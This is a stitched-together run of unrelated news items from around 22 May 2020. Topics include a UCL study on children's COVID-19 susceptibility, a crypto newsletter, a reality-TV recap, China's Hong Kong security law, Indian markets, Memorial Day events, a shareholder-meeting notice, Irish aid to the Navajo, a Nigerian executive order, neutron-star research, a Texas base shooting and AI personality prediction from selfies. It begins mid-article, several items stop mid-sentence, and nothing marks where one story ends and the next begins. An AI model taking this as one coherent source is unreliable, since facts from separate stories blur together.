Of them, just 18 were found to be of high enough quality to be considered in their analysis - half of which had not been peer-reviewed (scrutinised by other scientists).

Nine were contact-tracing studies, where researchers tracked close contacts of diagnosed patients.

Eight were population-screening studies, whereby random samples of society were tested for the virus.

And one was a systematic review of small household clusters, where entire families had been infected.

The analysis - yet to be published in a journal - showed that children and young people had 56 per cent lower odds of catching SARS-CoV-2 from an infected person, compared with adults over 20)

Researchers did not have sufficient data to examine whether children under 12 differed to teenagers in susceptibility.

Under-18s also appear to account for just one in 10 family clusters of the viral disease, although this was based on just one study so the evidence is weak.

While children appear less likely to catch the virus from others, once they are infected researchers remain uncertain about how likely children are to pass it on.

Lead author Russell Viner, professor of adolescent health at UCL, said: 'There is an increasing amount of data now available on children and COVID-19, and this is the first comprehensive study to carefully review and summarise what we do and do not know about susceptibility and transmission.

'Our findings show children and young people appear 56 per cent less likely to contract COVID-19 from infected others.

'Susceptibility is a key part of the chain of infection, and this supports the view that children are likely to play a smaller role in transmitting the virus and proliferating the pandemic, although considerable uncertainty remains.

'This new data provides essential evidence to governments around the world to inform their decision-making on whether to reopen schools and reduce or end lockdown measures.'

Co-author Dr Rosalind Eggo, an infectious disease modeller at the London School of Hygiene and Tropical Medicine, said: 'It [the study] suggests that children and young people are at lower risk of infection than adults and may therefore play a smaller role in the epidemic as a whole.

'This new evidence will help us better understand the possible effect of school reopening on transmission in schools and in the community.'

It comes after a report by the 'Independent SAGE' committee claimed it is not safe to reopen schools on June 1.

Sir David King - who chairs the 'Independent SAGE' committee and was Tony Blair's Chief Scientific Adviser when he was prime minister - said it is 'too soon' for children to return.

His alternative SAGE committee of experts says delaying schools reopening for two weeks would allow for the Government's 'test, trace and isolate' programme, including its delayed app, to be established.

In the first phase of his back-to-school blueprint, Boris Johnson wants children in Reception, Year 1 and Year 6 to go back to class on June 1.

An expert on Downing Street's scientific advisory subcommittee on schools claimed that these specific year groups were selected based on worries for their education and wellbeing - not that they are more shielded to the disease.

Although age is a factor in how at-risk an infected person is to Covid-19 symptoms, modelling found there was 'no increased risk to one year group over another'.

The revelations that there is no difference in the vulnerability of certain year groups will likely whip up anger from teachers' unions, who claim social distancing is much harder to enforce in primary schools.
PR-Inside.com: 2020-05-22 19:27:51

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Bitcoin Fourth Epoch, Ethereum 2.0 & Central Bank Blockchain ProgressMAHE, SEYCHELLES / ACCESSWIRE / May 22, 2020 / VYSYN VENTURES is excited to deliver the first release of VYSYN VENTURES Weekly Insights #1 (Subscribe here). VYSYN VENTURES is launching this weekly newsletter to bring greater clarity, analysis, and coverage on developments in the cryptocurrency industry.Keep up to date with daily curation of crypto developments in the VYSYN VENTURES community Telegram channel.In the inaugural release, how conditions have changed since the Bitcoin halving, the state of Ethereum 2.0, and the recent blockchain progress made by central banks are all investigated.Bitcoin Enters Fourth Mining EpochA new mining epoch has dawned for the Bitcoin network as the block subsidy declined from 12.5 BTC to 6.25 BTC on the 12th of May.With far more eyeballs on the Bitcoin network than the first two halvings, this event was preceded by a greater scale of speculation, discussion, and preparation.With the block subsidy generally representing over 98% of miner revenue over recent years, how miners will be incentivized to keep providing security as the subsidy diminishes has been one of the greatest puzzles facing industry leaders.The large portion of revenue attributable to the subsidy also means that Bitcoin miner revenue effectively halves after the halving.Miners raced to upgrade to the most efficient and powerful hardware in the lead-up to the halving as old-gen hardware which was already operating at thin margins was bound to struggle.The expectation that old-gen hardware would lose their profitability turned out to be accurate.At the current price and difficulty levels, the breakeven electricity rate for the latest gen Antminer S19 is $0.10 per kWh while the electricity requirement to breakeven with Antminer S9 rigs is $0.025.Very few miners can access rates as low as $0.025 and even if they did, this is just the breakeven level!One exception would be Chinese miners in the Sichuan province who can avail of sub-$0.03 per kWh electricity rates during the rainy season (~April to October each year).Nonetheless, there remains a huge opportunity cost to running S9 rigs if they're taking the potential places of latest generation equipment.Many miners have expectedly been pushed below their breakeven levels since the halving and the estimated hash rate level has naturally been impacted.The seven-day moving average of hash rate estimated by Bitinfocharts has dropped from a recent high of 123 EH/s to 111EH/s.While many analysts were enthusiastic to observe higher transaction fees post-halving, the reduced hash rate makes block times longer which serves to make block space more valuable.Whether transaction fees as a percentage of total block reward has significantly changed will not be observed until two difficulty adjustments occur.How transaction fees and block times have changed at the current difficulty level before and after the halving can be explored.The following two segments of blocks were analysed:Blocks from 628,993 to 629,999 where the block subsidy is 12.5 BTCBlocks from 630,000 to 630,588 where the block subsidy is 6.25 BTCAll of the above blocks were appended at the recent difficulty level of 16.1 trillion.Here are the results...Both block times and transaction fees have increased since the halving.The average and median block time before the halving were 9 minutes 29 seconds and 6 minutes 39 seconds respectively whereas this increased to 11 minutes 25 seconds and 8 minutes 11 seconds after the halving.Transaction fees effectively doubled with the average transaction per block going from 0.53 BTC before the halving to 1.02 afterwards.As a result, the percentage which transaction fees represent of the total block reward recently increased to a local high of over 20%.However, as noted, these factors are interdependent as slower blocks will increase demand for block space.The second difficulty adjustment after the halving will give a clearer idea of what can be expected in terms of the percentage transaction fees will represent of each block reward.Ethereum 2.0 Expected in JulyVitalik Buterin recently showed confidence in the progress Ethereum developers are making towards the transition to Ethereum 2.0.The long-awaited transition is expected in Q3 with many considering the five-year Ethereum launch anniversary on July 30th to be the date when 2.0 launches.Analysis by BitMEX Research highlights that the launch will just be the first step in what will likely be a "multi year transition to a new network." The Ethereum network in its current state will initially exist in parallel to Ethereum 2.0 with the intention that both networks merge in the future.Ethereum 2.0 will use proof-of-stake as the underlying consensus mechanism and will incorporate sharding.The transition to proof-of-stake and sharding are intended to address scalability issues facing Ethereum.Upon launch, a one-way peg will be incorporated where tokens can be transferred from the current Ethereum network to Ethereum 2.0 (Eth1 to Eth2) but transferring in the opposite direction is not possible.Network congestion, growth in smart contract data, and general scalability issues have been identified as headwinds preventing the Ethereum network from fulfilling its vision of becoming the world's computer.The transition to a network utilizing sharding with proof-of-stake acting as the underlying consensus is an attempt to address such concerns but there is much debate over how effective proof-of-stake will be.The jury is still out on whether the proof-of-stake can provide the same security assurances as proof-of-work.Nonetheless, the first phase of what will be a multi-step transition to Ethereum 2.0 is on track to take place in July.The analysis by BitMEX Research concluded that "Ethereum 2.0 is exceptionally complicated" but "the potential rewards are considerable if it does succeed".Central Banks Push Forward With Blockchain TechnologyRecent months have demonstrated that Chinese authori
Nikki Bella took her relationship with boyfriend Artem Chigvintsev to the next level on Thursday's episode of Total Bellas by asking him to move in with her.

The 36-year-old former WWE wrestler wanted to show Artem, 37, that she cared even though she wasn't ready to commit to having children with him.

She'd already decided to freeze her eggs to preserve her fertility, instead of creating embryos with Artem, who desperately wanted kids.

Next level: Nikki Bella took her relationship with boyfriend Artem Chigvintsev to the next level on Thursday's episode of Total Bellas by asking him to move in with her

Artem was so sure of their love he went ring shopping for Nikki with her twin Brie, 36, hoping to finally pop the question to his girlfriend.

'It's a big commitment to make, but I want Nicole to see and feel that I'm here for the long term,' Artem noted in a confessional. 'It just feels really right.'

In January, Nikki and Artem announced that they were pregnant with their first child, just as Brie and her husband Bryan Danielson, 38, revealed they were having their second.

After a seemingly unending stay at Brie's house, Nikki was thrilled to be finally moving into her own new home, which she'd had built next door.

Happy guy: Artem was thrilled that Nikki asked him to move-in with her

Ring shopping: He was so sure of their love he went ring shopping for Nikki with her twin Brie, 36, hoping to finally pop the question to his girlfriend

Artem suggested that she have a black cat enter the space first, per a Russian tradition that said it was good luck to do so, possibly because it 'scared away' the ghosts.

With no black cat in sight, Nikki dressed her dog Winston up in a black cat costume, and took her immediate family over to view the property.

'This feels like a totally new chapter in my life,' Nikki said, proud of the fact that she'd bought the place herself. 'Nicole is back. I'm independent. It makes me feel really good.'

Black cat: Artem suggested that she have a black cat enter the space first, per a Russian tradition that said it was good luck to do so, possibly because it 'scared away' the ghosts

New chapter: 'This feels like a totally new chapter in my life,' Nikki said, proud of the fact that she'd bought the place herself

New house: Nikki invited her family over to check out her new house next door to Brie

Nikki added that she was glad Artem was working in another city that day, saying she wanted to cherish the fact that she'd accomplished her dream 'without a man.'

Empowered by that experience, she decided to take the reins of her life in another way, consulting with an ob-gyn about her fertility potential after a recent pregnancy scare.

Nikki knew that her eggs were dwindling fast, and she was curious about her actual ability to have children, saying, 'I want to be a mom one day. I really do.'

Taking charge: The former pro wrestler decided to take the reins of her life in another way, consulting with an ob-gyn about her fertility potential after a recent pregnancy scare

As she filled out the office's paperwork, she stopped at a question that asked for her current birth control method, and mused, 'Pull out?'

'You can't write that, right?' she asked her mother, Kathy Laurinaitis, 56, who accompanied her. 'I just write ''none''?'

In their consultation, Nikki's doctor told her that at her age, she should be thinking about freezing her eggs.

Freezing advice: In their consultation, Nikki's doctor told her that at her age, she should be thinking about freezing her eggs

Nikki said she didn't think she'd be ready to get pregnant for 'a few years,' and privately added that she didn't want to talk to Artem about it as he might try to influence her.

'It's about me,' she said. 'Me as a woman and my body, and I want to make those decisions on my own.'

'Babies don't wait,' the doctor cautioned her. 'If you really want to have a family, I don't want you to keep pushing it. Forty is risky you're playing with fire.'

Showing support: Nikki's mother Kathy Laurinaitis, 56, joined her for the ob/gyn visit

Nikki was informed that she'd do even better to create embryos with Artem, if she was '100 percent sure' she was going to stay with him, since they would be more viable.

'Freezing eggs, creating embryos it's kind of a lot to think about,' Nikki mused. 'That's like having frozen children out there. It's being bound to someone forever. I just, I can't do that.'

'I love my partner that I'm with, but I'm just not craving those things,' she told the doctor, who rejoined that it was fine as long as Nikki was 'okay with not getting pregnant.'

Big deal: 'Freezing eggs, creating embryos it's kind of a lot to think about,' Nikki mused

The next time she saw Artem, Nikki told him she'd decided to freeze her eggs, but not make embryos with him, which he found disconcerting.

'It's just, we're not married,' she pointed out. 'We've been dating a year.'

Artem wondered when Nikki was going to go 'all in' on their relationship, saying, 'Decisions like that, when you're in a relationship, shouldn't be made by one person.'

Supermarket conversation: The next time she saw Artem, Nikki told him she'd decided to freeze her eggs, but not make embryos with him, which he found disconcerting

Left out: Artem wondered when Nikki was going to go 'all in' on their relationship, saying, 'Decisions like that, when you're in a relationship, shouldn't be made by one person

'But it's my body,' Nikki protested, to which Artem replied, 'I understand, but it's still our lives.'

Nikki later discussed her doubts about Artem with Brie as the two of them hosted a promotional event for their wine label.

'If Artem were to propose to you tomorrow, would you say yes?' Brie asked her, and Nikki admitted that she didn't know.

Wine event: Nikki later discussed her doubts about Artem with Brie as the two of them hosted a promotional event for their wine label

'Look, I want to marry Artem, but not today,' Nikki offered.

Brie told the cameras that Nikki had always said she wanted to be a 'wife and mother,' but 'every time she gets close to that, she freaks out.'

She wanted to help Nikki move closer to a commitment to Artem, as she knew her sister loved him with 'all her heart.'

Freaks out: Brie told the cameras that Nikki had always said she wanted to be a 'wife and mother,' but 'every time she gets close to that, she freaks out'

Brie told Nikki she was worried that Artem might break up with her if they didn't get married and have kids, because he'd expressed how much he wanted that.

Later, she met Artem for coffee, and he admitted that he had wondered whether he and Nikki were in 'the wrong relationship.'

He didn't want to have a baby 'tomorrow,' he swore, but he did want to marry Nikki someday.

Having doubts: Artem and Brie later met for coffee, and he admitted that he had wondered whether he and Nikki were in 'the wrong relationship'

Brie offered to connect Artem with her 'diamond guy' if he ever wanted to go 'ring shopping,' adding that he was 'very private so no one will ever see you walk in and out.'

She showed Artem her wedding ring, and said, 'Mine's a 1.9 carat. 'I always hear my sister saying she'd like a five.'

'Cool, I'm gonna go sell my liver,' Artem cracked.

Ring guy: Brie offered to connect Artem with her 'diamond guy' if he ever wanted to go 'ring shopping,' adding that he was 'very private so no one will ever see you walk in and out

In the days that followed, Artem and Nikki talked about the disconnect in their relationship.

Nikki explained that she was worried what would happen to their embryos if they broke up.

'But what if we don't?' Artem returned.

Relationship talk: In the days that followed, Artem and Nikki talked about the disconnect in their relationship

To make him feel better, Nikki asked Artem to consider moving in with her full-time, and he happily agreed.

'Moving in, that is the next step, that's like moving forward in the relationship, which is what I want to do,' Artem said in a confessional, looking gleeful.

'And then you can support me when I freeze my eggs,' Nikki joked.

Live together: To make him feel better, Nikki asked Artem to consider moving in with her full-time, and he happily agreed

In the next scene, Artem and Brie visited a jeweler to look at rings for Nikki.

'I see Nicole as my forever partner, and the whole conversation about moving in together made me feel like, ''Okay, this is what's happening'',' Artem said, grinning.

But as he looked at rings costing between $70,000 to $1 million, he blanched, and someone off-camera said they needed to bring him a drink.

Ring shopping: In the next scene, Artem and Brie visited a jeweler to look at rings for Nikki.

Fine jewelry: A jeweler showed Artem rings costing between $70,000 to $1 million

'I want to propose and I want it to be perfect, but seeing what I can afford versus what I think she deserves is in a different realm,' Artem told the cameras.

'Let's just keep it between us,' he said to Brie. 'When I do it, I don't want it to be a known fact. It should always be unexpected.'

Elsewhere on the show, Brie was concerned to see that Nikki's new house wasn't 'toddler-friendly,' and worried that her three-year-old daughter Birdie might get hurt there.

Safety concern: Elsewhere on the show, Brie was concerned to see that Nikki's new house wasn't 'toddler-friendly,' and worried that her three-year-old daughter Birdie might get hurt there

She and Bryan offered to split the $30,000 cost of a safety gate with Nikki, and told her that they even made one in her favorite Louis Vuitton logo.

At first, Nikki was unmoved, even when Brie brought Birdie over to the pool and threatened to post 'Pool Capacity Rules' signs around it.

Nikki responded by throwing the signs over the wall onto Brie's property.

Nice offer: Brie and Bryan Danielson offered to split the $30,000 cost of a safety gate with Nikki, and told her that they even made one in her favorite Louis Vuitton logo

For fun, she then bought Brie a walkie-talkie, and radioed her from her own house, giving herself the handle 'Boner Crusher.'

She dubbed Brie 'Debbie Downer,' and called Artem 'Tiny Dancer.'

As they gabbed, Brie thanked Nikki, telling her that she was 'a really good sport with all my craziness.'

Good times: For fun, Nikki bought Brie a walkie-talkie, and radioed her from her own house, giving herself the handle 'Boner Crusher'

'Wow, it took a walkie-talkie for you to admit that?' Nikki asked. 'Thank you.'

She told her sister she would get the pool gate and buy a cover for her pool, too.

Total Bellas will return next week on the E! network.
Source: Xinhua| 2020-05-22 10:33:13|Editor: mingmei

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BEIJING, May 22 (Xinhua) -- A draft decision on establishing and improving the legal system and enforcement mechanisms for the Hong Kong Special Administrative Region (HKSAR) to safeguard national security was submitted to China's national legislature for deliberation on Friday.

Wang Chen, vice chairman of the Standing Committee of the National People's Congress (NPC), explained the draft decision to the third session of the 13th NPC, which runs from May 22 to 28.

Since the return of Hong Kong to the motherland, China has been firmly implementing the principles of "one country, two systems," "the people of Hong Kong governing Hong Kong," and a high degree of autonomy, according to the explanatory document delivered by Wang.

The practice of "one country, two systems" has achieved unprecedented success in Hong Kong, says the document.

But the increasingly notable national security risks in the HKSAR have become a prominent problem, the document says, citing activities that have seriously challenged the bottom line of the "one country, two systems" principle, harmed the rule of law, and threatened national sovereignty, security and development interests.

Law-based and forceful measures must be taken to prevent, stop and punish such activities, according to the document. Enditem
The domestic equity market ended in the negative territory on Friday after the Reserve Bank of India (RBI) decided to cut the policy rate by 40 basis points from 4.4 per cent to 4 per cent to trim the impact of coronavirus on the economy. That apart, the central bank also extended the moratorium on loan repayments by three more months, resulting in sell-off in financial stocks.

Nifty Bank today tumbled over 2.5 per cent to 17,279 levels while Nifty Private Bank declined around 3 per cent to 9,421.55 points, with 8 out of 10 constituents ending in the red.

The benchmark S&P BSE Sensex shed 260 points or 0.84 per cent to settle at 30,672.59. HDFC, HDFC Bank, ICICI Bank, and Axis Bank contributed the most to the Sensex's fall. On the other hand, IT majors, Infosys and TCS, supported the index.

NSE's Nifty ended at 9,039, down 67 points or 0.74 per cent.

On a weekly basis, Sensex slipped 1.36 per cent and Nifty declined 1 per cent.

Among individual stocks, SBI Cards hit new low of Rs 495 on the BSE after the RBI announced an extension of the moratorium on loan EMIs by three months. The stock ended at Rs 510, down 6 per cent.

RIL ended over 0.5 per cent lower at Rs 1,431.60 after the company announced that investment firm KKR will invest Rs 11,367 crore in Jio Platforms.

In the broader market, the S&P BSE MidCap index fell 0.83 per cent to 11,270 whereas the S&P BSE SmallCap index ended at 10,524.23, down 0.23 per cent.



Global markets

World stocks took a hit on Friday as China moved to impose a new security law on Hong Kong after last years pro-democracy unrest, further straining fast-deteriorating US-China ties. Additionally, that China has dropped its annual growth target for the first time added to concern about the fallout from the COVID-19 pandemic.

Among Asian shares, Hong Kong's Hang Seng index slid more than 5 per cent to a seven-week low, MSCI's broadest index of Asia-Pacific shares outside Japan fell 2.7 per cent.

Japan's Nikkei slipped 0.8 per cent, while US stock futures fell almost 1 per cent -- pointing to a weak open for Wall Street.

European shares, too, opened broadly lower.

In commodities, oil prices fell over 5 per cent towards $34 a barrel as tensions rose between the United States and China, and doubts grew about the pace of demand recovery from the coronavirus crisis.





will remain closed on Monday, May 25 on account of Eid al-Fitr.
This year Dennis Spielman is spending Memorial day a little bit differently. The Vietnam War veteran and Colonie VFW post commander spent some time Friday putting flags on veterans gravestones in Evergreen Memorial Park.

He said if you drive down Central Avenue its hard to miss. He hopes the pop of red, white and blue will remind people about those who fought for their country.

It sticks out like a sore thumb because of all the flags Spielman said.

Spielman said this particular Memorial Day is going to be difficult for many veterans. Usually there are parades, barbecues and other celebrations to honor them, but during the coronavirus pandemic many of those events have been cancelled -- or sometimes live streamed or capped off at 10 people.

Since many of the VFW members at his post are older, Spielman said hes been calling them up to check on them.

Thats about all we can do, Spielman said. We have a lot of older folks here: World War II vets, Korea. Im one of the babies here.

Although, there cant be any celebrations on a large scale, there are some socially distanced events in the area. Gov. Andrew Cuomo passed an executive order allowing celebrations of 10 people or less. During one of his daily briefings, the governor said he hopes celebrations are broadcast or televised, but added that local governments may choose not to have them.

We want to honor our veterans, and we want to make sure no matter what happens, we are still honoring our veterans, Cuomo said.

The New York National Guard held a Memorial Day ceremony on Friday afternoon at the New York Division of Military and Naval Affairs Headquarters in Latham.

It was a short traditional ceremony with the presentation of the colors, the Star-Spangled Banner and the reading of names of members of the New York State military forces who have died in the past year. All participants stood six feet apart and it was livestreamed.

Albany Academy will hold a small, socially-distanced ceremony on Memorial Day, Monday. Six members of the Albany Academy Cadet Corps will march on the schools track to honor those who have died in military service to their country.

The members of the Cadet Corps will determine the length of their march the day before, counting their steps based on the number of coronavirus-related deaths in New York state, while maintaining a distance of six feet. The cadets will begin their march at 9:30 a.m. on the schools track.

While socially distanced ceremonies may have been greenlighted, some people may want to pause before heading out to state parks. The department of Parks, Recreation and Historic Preservation wrote a statement on its website saying a handful of parks are closed.

Some of these parks include Connetquot State Park, Minnewaska State Park and the Sam's Point Area.

Other parks that remain open are doing so at a 50 percent capacity. This is the case for Moreau Lake State Park in Saratoga County.

Before traveling to Moreau we strongly recommend having an alternate plan as the park will close to incoming visitors and traffic once parking lots reach 50% capacity, the statement said.

For more information visit: https://parks.ny.gov
MILL VALLEY, Calif., May 22, 2020 /PRNewswire/ -- Redwood Trust, Inc. (NYSE: RWT), a leading innovator in housing credit investing, today announced that due to the public health impact of the coronavirus outbreak (COVID-19) and to support the health and well-being of Redwood's stockholders, employees, and community, the company has changed the location of the 2020 Annual Meeting of Stockholders to be held over the internet as a virtual meeting format only. Therefore, stockholders will not be able to attend the Annual Meeting in person. The date and time have not been changed, and the meeting will continue to be held on Thursday, June 11, 2020 at 8:30 a.m., Pacific Time. The company intends to return to its normal in-person format for its 2021 Annual Meeting.

Stockholders may continue to submit their proxies in advance of the 2020 Annual Meeting via the Internet, by phone or by mail by following the instructions included on the original proxy card or notice of Internet availability previously distributed. Regardless of their plan for attending the virtual annual meeting, stockholders are urged to vote and submit their proxies in advance of the meeting using one of the methods described in the proxy materials.

Stockholders of record as of the close of business on March 20, 2020 will be eligible to vote their shares and submit questions electronically in advance of and during the virtual annual meeting by using the 16-digit control number included in the notice of internet availability of the proxy materials, on their individual proxy card or on the voting instruction form accompanying those proxy materials to attend the annual meeting. Stockholders can attend the virtual annual meeting via the internet at http://www.meetingcenter.io/214704432 and by entering the password RWT2020. For more details on how to participate in the virtual annual meeting, including instructions on how to obtain an individual control number, please refer to the company's supplement to the proxy statement filed with the Securities and Exchange Commission on May 22, 2020.

About Redwood Trust

Redwood Trust, Inc. (NYSE: RWT) is a specialty finance company focused on making credit-sensitive investments in single-family residential and multifamily mortgages and related assets and engaging in mortgage banking activities. Our goal is to provide attractive returns to shareholders through a stable and growing stream of earnings and dividends, as well as through capital appreciation. Redwood Trust was established in 1994, is internally managed, and structured as a real estate investment trust ("REIT") for tax purposes. For more information about Redwood, please visit our website at www.redwoodtrust.com.

CONTACT

Lisa Hartman  SVP, Head of Investor Relations

Phone: 866-269-4976

Email: [email protected]

SOURCE Redwood Trust, Inc.

Related Links

http://www.redwoodtrust.com


The longer a debt is deferred, the more astounding the eventual payback seems.

The Irish proved that recently. It was more than a century in the making, but the Irish people are finally repaying a debt incurred in 1847. The Choctaw Nation donated $170 to the Irish during the famine that devastated the island  a modest sum until you consider the poverty and suffering the Native Americans were experiencing in their own land. Almost 1 million Irish people died from 1845 to 1847.

Perhaps it takes one downtrodden people to empathize with another downtrodden group. Native Americans have suffered since the infamous Indian Wars of the 1800s, including the Trail of Tears that turned thousands of square miles into a killing field. But in the midst of their own agony, they stopped to consider the agony of others. They sought to help their brothers and sisters one ocean  and 4,000 miles  away, according to the British newspaper The Guardian.

Native Americans, hit hard by the novel coronavirus, are suffering still. The Navajo Nation has the highest per capita rate of infection, surpassing New York and New Jersey. Its territory, which surrounds the separate Hopi Nation, encompasses 27,000 square miles, across Utah, Arizona and New Mexico. There have been more than 4,000 confirmed cases, and the death toll has surpassed 140, according to reports, although it is believed to be much higher because of faulty record keeping.

The Irish, it seems, have a long memory. Donations, which will go toward food, water and medical supplies, have been pouring into the GoFundMe page for Navajo and Hopi aid. The goal is $5 million, and as of Friday, the amount raised was more than $4 million.

Most of the individual contributions from Ireland have been modest  $10, $20, $30  but, collectively, these donations represent an ambitious attempt to help a group struck by what may be considered the modern equivalent of the famine.

The Navajo and Hopi reservations have fairly small populations and poverty is endemic there. Food is as scarce as medical supplies. The Navajos have nine grocery stores, the Hopis one, according to members of the two nations.

In moments like these, we are so grateful for the love and support we have received from all around the world, Vanessa Tulley, one of the campaign organizers said in a statement. Acts of kindness from indigenous ancestors passed being reciprocated nearly 200 years later through blood memory and interconnectedness.

During these dark times, it is encouraging, even ennobling, to know that we humans are capable of remarkable compassion and resilience. Medicines and drugs may save us, ultimately, but it is the human spirit that will keep us whole. The Native Americans are grateful to the Irish, but as members of the global community, we should all feel thankful.

As Chief Gary Batton of the Choctaw Nation in Oklahoma so eloquently stated, We are gratified, and perhaps not at all surprised, to learn of the assistance our special friends, the Irish, are giving to the Navajo and Hopi nations. Our word for their selfless act is iyyikowa  it means serving those in need.
<! Buhari signs Executive Order granting Finaivial Autonomy to State Legislature, Judiciary >

Nigerias President, Muhammadu Buhari on Friday signed into law Executive Order No. 10 of 2020 for the implementation of Financial Autonomy of State Legislature and State Judiciary.

According to Buhari, Based on the power vested in me under Section 5 of the 1999 Constitution (as Amended), I, today, signed into law Executive Order No. 10 of 2020 for the implementation of Financial Autonomy of State Legislature and State Judiciary.

This administration will continue to do everything to strengthen the principles and practice of democracy and democratic governance in Nigeria.

Based on this Order, where any State of the Federation fails to release allocations meant for the State Legislature and State Judiciary, the Accountant-General of the Federation shall authorise deduction of the money from source (Federation Acct Allocation) in line with.
Gravitational-wave researchers at the University of Birmingham have developed a new model that promises to yield fresh insights into the structure and composition of neutron stars.

The model shows that vibrations, or oscillations, inside the stars can be directly measured from the gravitational-wave signal alone. This is because neutron stars will become deformed under the influence of tidal forces, causing them to oscillate at characteristic frequencies, and these encode unique information about the star in the gravitational-wave signal.

This makes asteroseismology -- the study of stellar oscillations -- with gravitational waves from colliding neutron stars a promising new tool to probe the elusive nature of extremely dense nuclear matter.

Neutron stars are the ultradense remnants of collapsed massive stars. They have been observed in the thousands in the electromagnetic spectrum and yet little is known about their nature. Unique information can be gleaned through measuring the gravitational waves emitted when two neutron stars meet and form a binary system. First predicted by Albert Einstein, these ripples in spacetime were first detected by the Advanced Laser Interferometer Gravitational Wave Observatory (LIGO) in 2015.

By utilising the gravitational wave signal to measure the oscillations of the neutron stars, researchers will be able to discover new insights into the interior of these stars. The study is published in Nature Communications.

Dr Geraint Pratten, of the University of Birmingham's Gravitational Wave Institute, is lead author of the study. He explained: "As the two stars spiral around each other, their shapes become distorted by the gravitational force exerted by their companion. This becomes more and more pronounced and leaves a unique imprint in the gravitational wave signal.

"The tidal forces acting on the neutron stars excite oscillations inside the star giving us insight into their internal structure. By measuring these oscillations from the gravitational-wave signal, we can extract information about the fundamental nature and composition of these mysterious objects that would otherwise be inaccessible."

The model developed by the team enables the frequency of these oscillations to be determined directly from gravitational-wave measurements for the first time. The researchers used their model on the first observed gravitational-wave signal from a binary neutron star merger - GW170817.

Co-lead author, Dr Patricia Schmidt, added: "Almost three years after the first gravitational-waves from a binary neutron star were observed, we are still finding new ways to extract more information about them from the signals. The more information we can gather by developing ever more sophisticated theoretical models, the closer we will get to revealing the true nature of neutron stars."

Next generation gravitational wave observatories planned for the 2030s, will be capable of detecting far more binary neutron stars and observing them in much greater detail than is currently possible. The model produced by the Birmingham team will make a significant contribution to this science.

"The information from this initial event was limited as there was quite a lot of background noise that made the signal difficult to isolate," says Dr Pratten. "With more sophisticated instruments we can measure the frequencies of these oscillations much more precisely and this should start to yield some really interesting insights."



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FBI says the shooting at the Corpus Christi naval station wounded a sailor and left the gunman dead.

A shooting at a Texas naval air station that wounded a sailor and left the gunman dead is being investigated as terrorism-related, the FBI said Thursday.

The shooting began around 6:15am (11:15 GMT) on Thursday at Naval Air Station Corpus Christi.

The attacker tried to speed through a gate at the base in a vehicle, but security personnel put up a barrier in time to stop the shooting, US officials told The Associated Press news agency. The man then got out of the car and opened fire, striking and wounding a Navy sailor who is a member of the security forces at the base. During the exchange of gunfire, the shooter was killed by security personnel, the officials said.

The officials spoke on the condition of anonymity to discuss details about a continuing investigation.

The FBI is investigating the shooting as terrorism-related, FBI Special Agent Leah Greeves said at a news conference Thursday afternoon, and investigators were working to determine whether a second person of interest was at large in the community.

We have determined that the incident this morning at the Naval Air Station Corpus Christi is terrorism-related, Greeves said. We are working diligently with our state, local and federal partners on this investigation, which is fluid and evolving.

Greeves did not elaborate on a potential motive or specify what led investigators to believe the shooting is related to what she called terrorism. Federal investigators also did not provide any information about the potential second related person of interest at large in the community or why they believe that is the case.

Officials were still working to process the crime scene, Greeves said.

The FBIs field office in Houston has taken the lead on the investigation, and neither investigators nor the Navy provided details on the shooter or a possible motive.

US Attorney General William Barr was briefed on the shooting, a Justice Department spokeswoman said.

The facility was on lockdown for about five hours Thursday morning, but that was lifted shortly before midday.

The station had a similar lockdown last December. In another incident at the base last year, a man pleaded guilty to destruction of US government property and possession of a stolen firearm for ramming his truck into a barricade at the Corpus Christi station.

The shooting also comes months after a Saudi Air Force officer who was training at a Navy base in Pensacola, Florida killed three US sailors and wounded eight other people in a shooting that US officials described as an act of terrorism. The countrys top federal law enforcement officials said this week that the gunman in Decembers attack, Mohammed Saeed Alshamrani, had been in touch with al-Qaeda operatives about planning and tactics in the months before the shooting. Alshamrani was killed by a sheriffs deputy.
Russian researchers from HSE University and Open University for the Humanities and Economics have demonstrated that artificial intelligence is able to infer people's personality from 'selfie' photographs better than human raters do. Conscientiousness emerged to be more easily recognizable than the other four traits. Personality predictions based on female faces appeared to be more reliable than those for male faces. The technology can be used to find the 'best matches' in customer service, dating or online tutoring.

The article 'Assessing the Big Five personality traits using real-life static facial images' will be published on May 22 in Scientific Reports.

Physiognomists from Ancient Greece to Cesare Lombroso have tried to link facial appearance to personality, but the majority of their ideas failed to withstand the scrutiny by modern science. The few established associations of specific facial features, such as facial width-to-height ratio, with personality traits are quite weak. Studies asking human raters to make personality judgments based on photographs have produced inconsistent results, suggesting that our judgments are too unreliable to be of any practical importance.

Nevertheless, there are strong theoretical and evolutionary arguments to suggest that some information about personality characteristics, particularly, those essential for social communication, might be conveyed by the human face. After all, face and behaviour are both shaped by genes and hormones, and social experiences resulting from one's appearance may affect one's personality development. However, the recent evidence from neuroscience suggests that instead of looking at specific facial features, the human brain processes images of faces in a holistic manner.

Researchers from two Moscow universities, HSE University (Higher School of Economics) and Open University for the Humanities and Economics, have teamed up with a Russian-British business start-up BestFitMe to train a cascade of artificial neural networks to make reliable personality judgments based on photographs of human faces. The performance of the resulting model was above that discovered in previous studies which used machine learning or human raters. The artificial intelligence was able to make above-chance judgments about conscientiousness, neuroticism, extraversion, agreeableness, and openness based on 'selfies' the volunteers uploaded online. The resulting personality judgments were consistent across different photographs of the same individuals.

The study was done in a sample of 12 thousand volunteers who completed a self-report questionnaire measuring personality traits based on the "Big Five" model and uploaded a total of 31 thousand 'selfies'. The respondents were randomly split into a training and a test group. A series of neural networks were used to preprocess the images to ensure consistent quality and characteristics, and exclude faces with emotional expressions, as well as pictures of celebrities and cats. Next, an image classification neural network was trained to decompose each image into 128 invariant features, followed by a multi-layer perceptron that used image invariants to predict personality traits.

The average effect size of r = .24 indicates that AI can make a correct guess about the relative standing of two randomly chosen individuals on a personality dimension in 58% of cases as opposed to the 50% expected by chance. In comparison with the meta-analytic estimates of correlations between self-reported and observer ratings of personality traits, this indicates that an artificial neural network relying on static facial images outperforms an average human rater who meets the target in person without prior acquaintance. Conscientiousness emerged to be more easily recognizable than the other four traits. Personality predictions based on female faces appeared to be more reliable than those for male faces.

There are a vast number of potential applications to be explored. The recognition of personality from real-life photos can complement the traditional approaches to personality assessment in situations where high speed and low cost are more important than high accuracy. Artificial intelligence can be used to propose products that are the best fit for the customer's personality or to select the possible 'best matches' for individuals in dyadic interactions, such as customer service, dating or online tutoring.

###

Paper (to appear on May 22, 2020):

Kachur, A., Osin, E., Davydov, D., Shutilov, K., & Novokshonov, A. (2020). Assessing the Big Five personality traits using real-life static facial images. Scientific Reports. doi: 10.1038/s41598-020-65358-6
